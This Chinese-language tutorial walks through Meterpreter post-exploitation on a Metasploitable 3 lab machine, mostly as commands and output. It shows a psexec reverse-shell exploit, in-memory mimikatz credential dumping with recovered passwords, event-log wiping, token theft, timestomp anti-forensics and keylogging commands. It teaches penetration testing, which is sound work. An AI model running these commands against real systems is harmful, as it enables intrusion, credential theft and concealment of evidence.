Metasploit渗透测试之深度理解Meterpreter

发布于:2024-10-11 ⋅ 阅读:(149) ⋅ 点赞:(0)
简介

在之前的教程中,我们更多地是学习了Metasploit的前渗透阶段,我们尝试了各种技术和利用来攻击我们的目标。在本文中,我们将重点介绍 Metasploit 中最先进的有效负载 Meterpreter,以及我们在拿下目标机器shell后可以做什么。 Meterpreter 为我们提供了许多功能,可以简化我们探索目标机器的任务。我们已经在前面了解了如何使用 Meterpreter,在本文节中,我们将详细了解 Meterpreter,以及如何将其用作为后渗透阶段的强力工具。

使用某些特定payloads有一个主要缺点,即会在受损系统中创建新进程,容易被杀毒软件发现。此外,payloads只能执行一些特定的任务或命令。为了克服这些困难,Meterpreter应运而生。

MeterpreterMetasploit的命令解释器,作为有效载荷使用内存DLL注入和本地共享对象格式。它与被攻击进程上下文一起工作,因此不会创建任何新进程。这使其更隐蔽和强大。

让我们看一下 Meterpreter 的一些功能。下图展示了加载 Meterpreter 的大致步骤

image-20230316102948208

在第一步中,攻击利用和第一阶段有效载荷被发送到目标机器。在利用后,该阶段建立一个TCP连接回到给定地址和端口上的msfconsole。接下来,msfconsole发送第二阶段DLL注入有效载荷。成功注入后,它会发送Meterpreter DLL以建立正确的通信通道。最后,Meterpreter加载扩展程序(如stdapipriv)。所有这些扩展都使用TLV协议通过TLS加载。这也是使用它的另一个重要优势:Meterpreter与目标使用加密通信。

让我们快速总结一下 Meterpreter 相对于其他特定payloads的优势:

  • 它与被利用的进程上下文一起工作,因此不会创建新的进程。
  • 它可以在进程之间轻松迁移
  • 它完全驻留在内存中,因此不会向磁盘写入任何内容
  • 使用加密通信
  • 它使用通道化的通信系统,这样我们就可以同时建立多个通信信道
  • 它提供了一个平台来快速轻松地编写扩展

本文节主要介绍使用Meterpreter提供的各种命令和脚本来探索目标机器。首先分析常见的Meterpreter命令,然后设置不同的通信信道、使用网络命令、键盘嗅探等。最后讨论scraper Meterpreter脚本,它可以创建一个包含有关目标用户各种信息的单个目录。以及重点介绍可帮助探索受损系统的命令和脚本。

# 1、理解Meterpreter核心命令

我们从使用 Meterpreter 命令开始了解它们的功能。由于它是一个后渗透工具,我们需要一个受损的目标来执行命令。我们将使用Metasploitable 3机器作为我们的目标,该机器已经被我们利用Microsoft Windows身份验证用户代码执行漏洞拿到了Meterpreter会话。

为了避免每次我们想要测试 Meterpreter 命令时都要重复执行攻击过程,可以借助资源脚本,自动执行重复的任务。

1、Metasploit Framework 附带了很多由社区贡献的资源脚本,可以在 Kali Linux 机器上找到它们:

$ ls /usr/share/metasploit-framework/scripts/resource
auto_brute.rc               bap_flash_only.rc             oracle_login.rc
autocrawler.rc              bap_ie_only.rc                oracle_sids.rc
auto_cred_checker.rc        basic_discovery.rc            oracle_tns.rc
autoexploit.rc              dev_checks.rc                 port_cleaner.rc
auto_pass_the_hash.rc       fileformat_generator.rc       portscan.rc
auto_win32_multihandler.rc  meterpreter_compatibility.rc  run_all_post.rc
bap_all.rc                  mssql_brute.rc                smb_checks.rc
bap_dryrun_only.rc          multi_post.rc                 smb_validate.rc
bap_firefox_only.rc         nessus_vulns_cleaner.rc       wmap_autotest.rc

2、要创建我们自己的资源脚本,我们只需要执行某个模块,然后使用makerc命令创建一个资源文件,并将自msf启动以来执行的命令保存到一个文件中:

msf6 > use exploit/windows/smb/psexec 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOST 192.168.91.133
RHOST => 192.168.91.133
msf6 exploit(windows/smb/psexec) > set SMBUSER Administrator
SMBUSER => Administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS vagrant
SMBPASS => vagrant
msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(windows/smb/psexec) > set LPORT 7777
LPORT => 7777
msf6 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.91.128:7777 
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.91.133
[*] Meterpreter session 1 opened (192.168.91.128:7777 -> 192.168.91.133:50786) at 2023-03-16 10:57:14 +0800

meterpreter > 
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > makerc /home/kali/psexec.rc //生成资源脚本
[*] Saving last 8 commands to /home/kali/psexec.rc ...
msf6 exploit(windows/smb/psexec) > 

3、生成的资源脚本内容如下:

┌──(kali㉿kali)-[~]
└─$ cat psexec.rc      
use exploit/windows/smb/psexec
set RHOST 192.168.91.133
set SMBUSER Administrator
set SMBPASS vagrant
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.91.128
set LPORT 7777
exploit

4、要在启动msf时运行资源脚本,使用-q -r加上资源脚本路径即可:

5、在入侵目标机器后,我们将得到一个 Meterpreter 会话,使用?指令,可以列出所有的Meterpreter 命令以及简短说明:

让我们从一些系统命令开始。

background:将会话设置到后台,以便需要时再次使用。当有多个活动的 Meterpreter 会话时,此命令很有用。也可以使用其短版本命令:bg

meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > 

getuid:返回我们所获取目标会话的用户

Server username: NT AUTHORITY\SYSTEM

getpid:返回目标主机上Meterpreter进程的ID

meterpreter > getpid
Current pid: 7260

ps:列出目标机器上正在运行的进程,可以有助于识别目标机器运行的服务和软件

meterpreter > ps

Process List
============

 PID   PPID  Name            Arch  Session  User                     Path
 ---   ----  ----            ----  -------  ----                     ----
 0     0     [System Proces
             s]
 4     0     System          x64   0
 232   4     smss.exe        x64   0        NT AUTHORITY\SYSTEM      C:\Windows\System32\sms
                                                                     s.exe
 272   3852  postgres.exe    x86   0        NT AUTHORITY\LOCAL SERV  C:\ManageEngine\Desktop
                                            ICE                      Central_Server\pgsql

sysinfo:返回目标机器操作系统架构等信息

meterpreter > sysinfo
Computer        : METASPLOITABLE3
OS              : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

shell:进入目标系统交互式shell

meterpreter > shell
Process 6332 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

exit:从交互式shell回退到meterpreter,或者退出meterpreter会话

C:\Windows\system32>exit
exit
meterpreter > exit
[*] Shutting down Meterpreter...

以上是一些有用的系统命令,可以用来探索受攻击目标并获取更多信息。还有许多其他命令,留给读者自己去尝试和探索。你可能已经注意到了使用Meterpreter命令并探索目标非常容易,如果没有它,执行这些任务将会变得很困难。接下来我们会学习一些高级的Meterpreter命令。

# 工作原理

Meterpreter的工作方式类似于其他任何命令解释器。它被设计为通过命令理解和响应各种参数调用。它驻留在已被攻击/感染的进程上下文中,并与渗透测试人员机器创建‘客户端/服务器(C/S)’通信系统,如下图所示:

上图简要说明了 Meterpreter 的功能。一旦建立了通信通道,我们就可以向 Meterpreter 服务端发送命令调用,以将其响应返回给我们的机器。接下来我们将更详细地了解渗透机与受感染目标之间的通信过程。

# 2、理解Meterpreter文件系统命令

在本节中,我们将继续学习Meterpreter中与文件系统相关的命令。这些命令有助于探索目标系统以执行各种任务,例如搜索文件、下载文件和更改目录。

1、首先是简单的命令,比如显示目标机器当前工作目录的pwd命令,和更改工作目录的cd命令、以及列出文件的ls命令。

meterpreter > pwd
C:\Windows\system32
meterpreter > cd /
meterpreter > pwd
C:\
meterpreter > ls
Listing: C:\
============

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
040777/rwxrwxrwx  0       dir   2009-07-14 10:34:39 +0800  $Recycle.Bin
100444/r--r--r--  8192    fil   2016-12-17 05:08:21 +0800  BOOTSECT.BAK

2、搜索目标机器的文件,可以使用search命令。-f参数指定搜索文件类型,-d参数指定搜索路径

meterpreter > search -f *.doc -d c:/
Found 4 results...
==================

Path                                                                 Size (bytes)  Modified (UTC)
----                                                                 ------------  --------------
c:\ManageEngine\DesktopCentral_Server\licenses\LICENSE_TRAYICON.doc  24064         2015-10-07 21:32:36 +0800
c:\Program Files\OpenSSH\home\Public\Documents\jack_of_hearts.docx   676796        2016-12-09 14:01:02 +0800
c:\Users\Public\Documents\jack_of_hearts.docx                        676796        2016-12-09 14:01:02 +0800
c:\vagrant\resources\flags\jack_of_hearts.docx                       676796        2016-12-09 14:01:02 +0800

3、搜索特定文件后,我们可以使用download命令将目标机上的文件下载到我们的机器上。

meterpreter > download c:\\vagrant\\resources\\flags\\jack_of_hearts.docx 
[*] Downloading: c:\vagrant\resources\flags\jack_of_hearts.docx -> /home/kali/jack_of_hearts.docx
[*] Downloaded 660.93 KiB of 660.93 KiB (100.0%): c:\vagrant\resources\flags\jack_of_hearts.docx -> /home/kali/jack_of_hearts.docx
[*] Completed  : c:\vagrant\resources\flags\jack_of_hearts.docx -> /home/kali/jack_of_hearts.docx
meterpreter > 

tips:下载windows路径文件的时候,需要使用双斜杠

4、反之,我们也可以上传文件到目标机器,使用upload命令

meterpreter > upload payload.exe payload.exe
[*] Uploading  : /home/kali/payload.exe -> payload.exe
[*] Uploaded 7.00 KiB of 7.00 KiB (100.0%): /home/kali/payload.exe -> payload.exe
[*] Completed  : /home/kali/payload.exe -> payload.exe
meterpreter > 

5、如果要删除目标主机上的文件,可以使用rm命令

meterpreter > rm payload.exe

6、使用Meterpreter编辑文件可以通过edit命令完成,该命令会调用vim编辑器

meterpreter > edit flag.txt 

7、查看目标系统的磁盘/驱动器挂载情况,可以使用show_mount

meterpreter > show_mount 

Mounts / Drives
===============

Name  Type   Size (Total)  Size (Free)  Mapped to
----  ----   ------------  -----------  ---------
C:\   fixed  60.00 GiB     43.01 GiB

8、要显示所有可用的命令,可以使用help命令加要显示的命令组:

meterpreter > help File System Commands

Stdapi: File system Commands
============================

    Command     Description
    -------     -----------
    cat         Read the contents of a file to the screen
    cd          Change directory
    checksum    Retrieve the checksum of a file
    cp          Copy source to destination
    del         Delete the specified file
    dir         List files (alias for ls)
    download    Download a file or directory
    edit        Edit a file
    getlwd      Print local working directory
    getwd       Print working directory
    lcat        Read the contents of a local file to the screen
    lcd         Change local working directory
    lls         List local files
    lpwd        Print local working directory
    ls          List files
    mkdir       Make directory
    mv          Move source to destination
    pwd         Print working directory
    rm          Delete the specified file
    rmdir       Remove directory
    search      Search for files
    show_mount  List all mount points/logical drives
    upload      Upload a file or directory
# 工作原理

Meterpreter通过设置交互式命令提示符为我们提供了完全访问目标计算机的权限。我们也可以放置一个shell会话以在默认的Windows DOS模式下工作,但它将没有那么多功能。以上是对Meterpreter一些重要文件系统命令的介绍,可以帮助我们探索目标计算机上的文件。还有更多命令,读者可以自己去尝试。

后续我们将学习一个非常有趣的Meterpreter命令,称为timestomp,它可以用于修改目标机器上的文件属性。

# 3、理解Meterpreter网络命令

Meterpreter 还提供了一些有用的网络命令。这些命令可以帮助我们理解目标用户的网络结构。我们可以分析系统是否属于局域网,还是一个独立的系统。我们还可以找出 IP 范围、DNS 和其他信息。当我们需要执行跳板(pivoting)攻击操作时,这样的网络信息非常有用。跳板是一个概念,通过它我们可以攻击与目标在同一网络中的其他计算机。我们还将了解如何使用 Meterpreter 进行高级跳板攻击操作。

在进行本节内容学习前,我们先了解三个网络基础术语和概念。

  • 子网:子网是将大型网络划分为较小的、可识别的部分的概念。进行子网划分是为了增加IP地址实用性和安全性。
  • 网络掩码:网络掩码是一个 32 位的掩码,用于将 IP 地址划分为子网并指定网络的可用主机。
  • 网关:网关指定转发或下一跳 IP 地址,通过该地址可以到达由网络目标和子网掩码定义的地址范围。

当我们使用route命令和其他网络命令时,我们将会用到这三个概念。

1、查看Meterpreter提供的网络相关命令:


meterpreter > help net

Stdapi: Networking Commands
===========================

    Command   Description
    -------   -----------
    arp       Display the host ARP cache
    getproxy  Display the current proxy configuration
    ifconfig  Display interfaces
    ipconfig  Display interfaces
    netstat   Display the network connections
    portfwd   Forward a local port to a remote service
    resolve   Resolve a set of host names on the target
    route     View and modify the routing table

2、查看目标主机arp缓存表,使用arp命令

meterpreter > arp

ARP cache
=========

    IP address       MAC address        Interface
    ----------       -----------        ---------
    10.1.1.1         00:50:56:e9:10:7f  17
    10.1.1.254       00:50:56:ef:ae:9c  17
    192.168.91.2     00:50:56:e1:c9:60  17
    192.168.91.128   00:0c:29:f6:f2:5b  17
    192.168.91.254   00:50:56:ef:d6:99  17
    192.168.91.255   ff:ff:ff:ff:ff:ff  17
    224.0.0.22       00:00:00:00:00:00  1
    224.0.0.22       01:00:5e:00:00:16  17
    224.0.0.251      01:00:5e:00:00:fb  17
    224.0.0.252      01:00:5e:00:00:fc  17
    239.77.124.213   00:00:00:00:00:00  1
    255.255.255.255  ff:ff:ff:ff:ff:ff  17

3、getproxy命令可以查看当前的代理配置

meterpreter > getproxy
Auto-detect     : Yes
Auto config URL : 
Proxy URL       : 
Proxy Bypass    : 

4、ipconfig/ifconfig命令用于显示目标机器的所有 TCP/IP 网络配置。它们列出了目标 IP 地址、硬件 MAC 和网络掩码等信息:

meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:5b85
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

5、查看目标机当前的网络连接信息,使用netstat命令:

meterpreter > netstat

Connection list
===============

    Proto  Local addre  Remote addre  State        User  Inode  PID/Program name
           ss           ss
    -----  -----------  ------------  -----        ----  -----  ----------------
    tcp    0.0.0.0:21   0.0.0.0:*     LISTEN       0     0      1492/svchost.exe
    tcp    0.0.0.0:22   0.0.0.0:*     LISTEN       0     0      2412/sshd.exe
    tcp    0.0.0.0:80   0.0.0.0:*     LISTEN       0     0      4/System
    tcp    0.0.0.0:135  0.0.0.0:*     LISTEN       0     0      688/svchost.exe
    tcp    0.0.0.0:445  0.0.0.0:*     LISTEN       0     0      4/System
    tcp    0.0.0.0:161  0.0.0.0:*     LISTEN       0     0      3328/java.exe
           7
    tcp    0.0.0.0:330  0.0.0.0:*     LISTEN       0     0      3664/mysqld.exe

6、portfwd命令用于将传入的TCP和/或UDP连接转发到远程主机。通过以下示例了解端口转发:

有三个主机,分别是主机A、主机B和主机C。如果A无法直接连接到C,可以通过中间的B来实现连接。当B在中间传递从A获取的连接流并处理该连接时,我们称其为端口转发。

这个过程是如何在网络上呈现出来的:B运行一个软件,在其某个端口(例如20号端口)上打开TCP监听器;C也运行一个监听器,用于从B主机接收数据包。因此,如果A将任何数据包发送到B的20号端口,则它将自动转发到主机C。此时,主机B正在将其数据包进行端口转发以便传输给主机C。

7、下一个是route命令,类似于MS-DOS里面的route,该命令用于显示和修改目标主机上的路由表。

meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask          Gateway         Metric  Interface
    ------           -------          -------         ------  ---------
    0.0.0.0          0.0.0.0          192.168.91.2    10      17
    127.0.0.0        255.0.0.0        127.0.0.1       306     1
    127.0.0.1        255.255.255.255  127.0.0.1       306     1
    127.255.255.255  255.255.255.255  127.0.0.1       306     1
    192.168.91.0     255.255.255.0    192.168.91.133  266     17
    192.168.91.133   255.255.255.255  192.168.91.133  266     17
    192.168.91.255   255.255.255.255  192.168.91.133  266     17
    224.0.0.0        240.0.0.0        127.0.0.1       306     1
    224.0.0.0        240.0.0.0        192.168.91.133  266     17
    255.255.255.255  255.255.255.255  127.0.0.1       306     1
    255.255.255.255  255.255.255.255  192.168.91.133  266     17

8、要显示特定命令的帮助菜单,可以使用-h参数

meterpreter > route -h
Usage: route [-h] command [args]

Display or modify the routing table on the remote machine.

Supported commands:

   add    [subnet] [netmask] [gateway]
   delete [subnet] [netmask] [gateway]
   list
# 工作原理

如果要进行端口转发,我们可以使用如下命令:

meterpreter > portfwd add -l 444 -L 127.0.0.1 -r 10.1.1.10 -p 3389
[*] Forward TCP relay created: (local) 127.0.0.1:444 -> (remote) 10.1.1.10:3389
meterpreter > 

add:新增端口转发

-l:在主机A上监听的端口

-L:定义要绑定的IP地址,由于我们正在主机 A 上运行这些参数,并且希望从同一主机继续工作,因此将 IP 地址设置为 127.0.0.1

-r:指定目标主机IP

-p:指定目标主机端口

查看攻击机监听端口:

端口转发成功后,访问攻击机的444端口就等同于访问目标靶机的3389端口。

以上就是使用端口转发的简单演示。该技术通常被用于绕过防火墙和入侵检测系统。

# 4、理解Meterpreter 系统命令

Meterpreter系统命令允许你在不切换到目标shell会话的情况下执行目标系统上的命令。

1、clearev命令可以清理目标系统上的日志,包括ApplicationSystemSecurity日志。

meterpreter > clearev 
[*] Wiping 11 records from Application...
[*] Wiping 85 records from System...
[*] Wiping 64 records from Security...
meterpreter > 

2、使用execute命令可以在目标上执行可运行的文件或命令,该命令的好处是它允许我们从内存中运行命令,而不需要将二进制文件上传到目标,这样可以有效地绕过一些反病毒产品。

以下是一些示例:

meterpreter > execute -H -i -c -m -d calc.exe -f /usr/share/mimikatz/x64/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'
Process 7704 created.
Channel 1 created.

  .#####.   mimikatz 2.1.1 (x64) #17763 Dec  9 2018 23:56:50
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # sekurlsa::logonPasswords full

Authentication Id : 0 ; 131506 (00000000:000201b2)
Session           : Service from 0
User Name         : sshd_server
Domain            : METASPLOITABLE3
Logon Server      : METASPLOITABLE3
Logon Time        : 6/17/2021 3:00:44 PM
SID               : S-1-5-21-4284256829-2906533508-3862448105-1002
        msv :
         [00000003] Primary
         * Username : sshd_server
         * Domain   : METASPLOITABLE3
         * LM       : e501ddc244ad2c14829b15382fe04c64
         * NTLM     : 8d0a16cfc061c3359db455d00ec27035
         * SHA1     : 94bd2df8ae5cadbbb5757c3be01dd40c27f9362f
        tspkg :
         * Username : sshd_server
         * Domain   : METASPLOITABLE3
         * Password : D@rj33l1ng
        wdigest :
         * Username : sshd_server
         * Domain   : METASPLOITABLE3
         * Password : D@rj33l1ng
        kerberos :
         * Username : sshd_server
         * Domain   : METASPLOITABLE3
         * Password : D@rj33l1ng
        ssp :
        credman :

命令参数解释:

  • -H :创建隐藏进程
  • -i:允许我们在创建进程后与之交互
  • -cI/O通道
  • -m:在内存中执行
  • -d:指定要启动的虚假可执行文件
  • calc.exe:虚假的可执行文件
  • -f:指定可执行文件的路径(攻击机上的文件路径)
  • -a:传递给可执行文件的参数

tips : 在运行mimikatz之前,请使用migrate -N lsass.exe命令将当前会话迁移到LSASS.exe进程。

meterpreter > migrate -N lsass.exe
[*] Removing existing TCP relays...
[*] Successfully stopped TCP relay on 127.0.0.1:444
[*] 1 TCP relay(s) removed.
[*] Migrating from 6396 to 480...

3、使用getuid显示当前进程的uid

meterpreter > getpid
Current pid: 480

4、使用getprivs显示当前进程可用的所有权限

meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeCreateSymbolicLinkPrivilege
SeCreateTokenPrivilege
SeDebugPrivilege
SeImpersonatePrivilege

5、getsid命令获取目标机运行的用户的SID

meterpreter > getsid
Server SID: S-1-5-18

6、getuid返回我们所获取目标会话的用户

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

7、使用kill pid命令可用终止目标机上的进程

meterpreter > kill 8124
Killing: 8124

8、使用pgrep按名称过滤进程

meterpreter > pgrep calc.exe
6868
7152
1368

9、使用pkill按名称终止进程

meterpreter > pkill calc.exe
Filtering on 'calc.exe'
Killing: 4972, 6752, 4396, 

10、ps可以列出正在运行的所有进程

meterpreter > ps

Process List
============

 PID   PPID  Name            Arch  Session  User                     Path
 ---   ----  ----            ----  -------  ----                     ----
 0     0     [System Proces
             s]
 4     0     System          x64   0
 232   4     smss.exe        x64   0        NT AUTHORITY\SYSTEM      \SystemRoot\System32\sm
                                                                     ss.exe
 272   3852  postgres.exe    x86   0        NT AUTHORITY\LOCAL SERV  C:\ManageEngine\Desktop
                                            ICE                      Central_Server\pgsql\bi
                                                                     n\postgres.exe
 312   304   csrss.exe       x64   0        NT AUTHORITY\SYSTEM      C:\Windows\system32\csr
                                                                     ss.exe
 360   472   svchost.exe     x64   0        NT AUTHORITY\LOCAL SERV  C:\Windows\system32\svc
                                            ICE                      host.exe

ps的更多选项可以使用-h查看帮助

11、reg命令可以查看和修改目标机注册表

eterpreter >  reg enumkey -k HKLM\\Software
Enumerating: HKLM\Software

  Keys (19):

        7-Zip
        ATI Technologies
        CBSTEST
        Classes
        Clients
        Cygnus Solutions
        Cygwin
        JavaSoft

12、shell命令可以进入目标系统shell会话,退回到meterpreter会话,使用exit

meterpreter > shell
Process 6752 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

13、steal_token命令将尝试从目标进程窃取模拟令牌

meterpreter > steal_token 2064
Stolen token with username: METASPLOITABLE3\Administrator
meterpreter > getuid
Server username: METASPLOITABLE3\Administrator

14、使用rev2self调用目标的RevertToSelf()函数返回之前的token

meterpreter > rev2self 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

15、使用suspend 命令将暂停或恢复进程

meterpreter > suspend 3448
[*] Suspending: 3448
[*] Targeting process with PID 3448...
# 5、与目标建立多重信道

在本节中,我们将研究如何设置多个通道来与目标进行通信。正如我们在本文介绍中所讨论的,Meterpreter 中客户端和服务器之间的通信采用加密形式,并使用Type-Length-Value(TLV)协议进行数据传输。使用TLV的主要优点是它允许使用特定通道号标记数据,从而允许在受害者上运行的多个程序与攻击机器上的 Meterpreter 通信。这有助于同时建立多个通信信道。

在上一节中,我们学到了execute指令,它可以用于启动多个通信信道。

meterpreter > execute -h
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:

    -a   The arguments to pass to the command.
    -c   Channelized I/O (required for interaction).
    -d   The 'dummy' executable to launch when using -m.
    -f   The executable command to run.
    -h   Help menu.
    -H   Create the process hidden from view.
    -i   Interact with the process after creating it.
    -k   Execute process on the meterpreters current desktop
    -m   Execute from memory.
    -p   Execute process in a pty (if available on target platform)
    -s   Execute process in a given session as the session user
    -t   Execute process with currently impersonated thread token
    -z   Execute process in a subshell

1、创建通道,使用-f-c参数

meterpreter > execute -f notepad.exe -c
Process 676 created.
Channel 3 created.

可以看到已经创建了三个信道了。

2、使用channel -l可以列出可用的信道。

meterpreter > channel -l

    Id  Class  Type
    --  -----  ----
    3   3      stdapi_process
    4   3      stdapi_process

meterpreter > 

3、使用write channel id命令可用往信道写入内容

meterpreter > write 3
Enter data followed by a "." on an empty line:


Metasploit! 
.
[*] Wrote 12 bytes to channel 3.

4、读取信道的数据,我们可以使用read channel ID。如果我们想与任何信道进行交互,我们可以使用channel -i id:

meterpreter > channel -i 4
Interacting with channel 4...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

5、使用Ctrl+Z将信道会话放到后台,使用Ctrl+C结束信道会话。

C:\Windows\system32>^Z
Background channel 4? [y/N]  y
meterpreter > channel -i 4
Interacting with channel 4...

C:\Windows\system32>^C
Terminate channel 4? [y/N]  y

本节介绍了使用多个通道的优势,以及同时管理和切换不同通道的简易性。当在目标机器上运行多个服务时,使用信道变得非常重要。

# 工作原理

Metasploit使用不同的通道ID标记每个消息,以帮助识别特定命令应在哪个通道上执行。Meterpreter中的通信过程遵循TLV协议,可以为不同的消息打上特定的通道ID标签,以提供多通道通信支持。

# 6、Meterpreter反取证

在之前的内容中,我们了解了一些重要且有用的Meterpreter文件系统命令,可以用于执行目标机器上的各种任务。Meterpreter还包含另一个有趣的命令称为timestomp。此命令用于更改文件的Modified-Accessed-Created-Entry(MACE)属性。该属性值表示发生在文件中的任何MACE活动的日期和时间。使用timestomp命令,我们可以更改这些值。

tips:

  1. Modified:指文件的最后修改时间,即文件内容最后一次被修改的时间。
  2. Accessed:指文件的最后访问时间,即文件最后一次被访问的时间。
  3. Created:指文件的创建时间,即文件被创建的时间。
  4. Entry Modified:Entry Modified 指的是该文件的MFT 条目最后一次更改的时间,MFT 条目包含有关文件的元数据,包括文件名、文件大小、文件类型、访问权限等信息。因此更改其中任何一项也应该更改“条目修改”日期

在开始本节内容之前,你可能有一个疑问。为什么要更改MACE值?黑客通常使用更改MACE值的技术来使目标用户认为该文件已经存在于系统中很长时间,并且没有被访问或修改过。在出现可疑活动的情况下,系统管理员可以检查最近修改的文件以找出是否有任何文件被修改或访问。因此,使用这种技术,该文件将不会出现在最近访问或修改项目列表中。即使还有其他方法可以发现文件属性是否已被修改,但这种技术仍然非常有效。

首先从目标机器上选取一个文件并更改其MACE属性,下图是没有使用timestomp之前的MACE属性值:

使用timestomp C:\\flag.txt -v列出文件的MACE属性

meterpreter > timestomp C:\\flag.txt -v
[*] Showing MACE attributes for C:\flag.txt
Modified      : 2023-03-16 12:51:38 +0800
Accessed      : 2019-06-18 13:01:01 +0800
Created       : 2019-06-18 13:01:01 +0800
Entry Modified: 2023-03-16 12:51:38 +0800
meterpreter > 

更改文件的创建时间:

meterpreter > timestomp c:\\flag.txt -c "05/20/2017 01:01:01"
[*] Setting specific MACE attributes on c:\flag.txt
meterpreter > timestomp c:\\flag.txt -v
[*] Showing MACE attributes for c:\flag.txt
Modified      : 2023-03-16 12:51:38 +0800
Accessed      : 2019-06-18 13:01:01 +0800
Created       : 2017-05-20 01:01:01 +0800
Entry Modified: 2023-03-16 12:51:38 +0800
meterpreter > 

# 工作原理

-c参数可用修改文件的创建时间,-m参数可用修改文件的修改时间,-a参数可用修改文件的最后访问时间。

meterpreter > timestomp c:\\flag.txt -m "05/20/2017 01:01:01"
[*] Setting specific MACE attributes on c:\flag.txt
meterpreter > timestomp c:\\flag.txt -a "05/20/2017 01:01:01"
[*] Setting specific MACE attributes on c:\flag.txt
meterpreter > timestomp c:\\flag.txt -v
[*] Showing MACE attributes for c:\flag.txt
Modified      : 2017-05-20 01:01:01 +0800
Accessed      : 2017-05-20 01:01:01 +0800
Created       : 2017-05-20 01:01:01 +0800
Entry Modified: 2023-03-16 12:51:38 +0800

我们已经成功修改了文件的MACE属性。现在,这个文件将不会出现在最近修改或最近访问的文件列表中。

或者,我们也可以使用 -z 参数一次性更改所有四个 MACE 值。但是,-z 参数会将四个 MACE 属性分配相同的值,这在实际上是不符合常理的。因为创建时间和访问时间之间必定会存在一些时间差异。因此,应避免使用-z参数。

其他

Metasploit 创建了一组称为 Metasploit 反取证调查武器库 (MAFIA) 的工具作为其研究项目的一部分,包括:

  • Timestomp
  • Slacker
  • Transmogrify
  • SAM Juicer

但这些工具有的已经很多年没更新了,它们不再与现代操作系统兼容。

# 7、屏幕和键盘监听

本节将介绍与桌面和按键嗅探相关的一些stdapi用户接口命令。捕获按键取决于当前活动的桌面,因此必须了解如何通过在不同桌面活动会话中运行的进程之间切换来嗅探不同的按键。让我们继续学习本节内容以更好地理解这个过程。

enumdesktops命令可列出所有可访问的桌面和窗口站(Window Stations):

meterpreter > enumdesktops 
Enumerating all accessible desktops

Desktops
========

    Session  Station  Name
    -------  -------  ----
    0        WinSta0  Default
    0        WinSta0  Disconnect
    0        WinSta0  Winlogon

meterpreter > 

你可以看到所有可用的桌面站都与Session 0相关联。后面我们将确切地了解什么是Session 0

getdesktop 命令可用返回Meterpreter 会话所在的当前桌面信息。

meterpreter > getdesktop 
Session 0\S\D
meterpreter > 

可以将getdesktop命令的输出与enumdesktops进行关联,以了解我们正在使用的当前桌面站的更多信息。

setdesktop可以切换当前的Meterpreter桌面站。

keyscan_start命令用于在当前活动桌面站启动按键嗅探器。

keyscan_dump命令转储活动 Meterpreter 桌面会话的按键记录。

现在,让我们分析一下这些命令在实时场景中的工作方式以及如何通过不同的桌面站点嗅探按键。

在进一步学习之前,我们需要先了解一下有关Windows desktop的概念。

Windows desktop被分成不同的会话,以定义用户与Windows机器交互的方式。 Session 0代表控制台。 其他会话,如Session 1、Session2等,代表远程桌面会话。

每个 Windows 会话都可以由不同的窗口站组成,其中 WinSta0 是唯一的交互式站点,这意味着它是用户唯一可以与之交互的站点。它被分配给交互式用户的登录会话,包含键盘、鼠标和显示设备。除此之外,其他窗口站都是非交互式的,这意味着它们不能显示用户界面或接收用户输入。WinSta0 包含三个不同的桌面,分别为 DefaultDisconnect和 Winlogon。桌面是一个逻辑显示表面,包含用户界面对象,如窗口、菜单和钩子。Default桌面与我们在桌面上执行的所有应用程序和任务相关联;Disconnect桌面涉及屏幕保护程序锁定桌面;Winlogon 桌面涉及 Windows 登录屏幕。

